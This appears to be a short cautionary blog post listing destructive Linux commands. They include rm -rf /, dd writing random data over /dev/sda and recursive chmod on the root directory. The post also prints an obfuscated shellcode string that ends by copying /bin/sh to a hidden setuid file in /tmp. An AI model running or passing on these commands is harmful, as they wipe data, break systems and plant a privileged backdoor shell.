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What not to do on Linux

The Linux scripts below are some of the most dangerous and are listed here for educational purpose to show what NOT to do. I have ordered them by most severe. Run these at your own risk.

The computer is not responding at all... Well that computer is old and today is better then anyday to get it replaced

chmod -R -t /
rm -rf /

Oops wiped wrong drive. Our backup will save the day. Wait the server has not been backup in two years.....

dd if=/dev/random of=/dev/sda

I fixed all the permissions!

chmod -R 6777 /

I ran this random script that I found on the internet and all my files disappeared :(

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;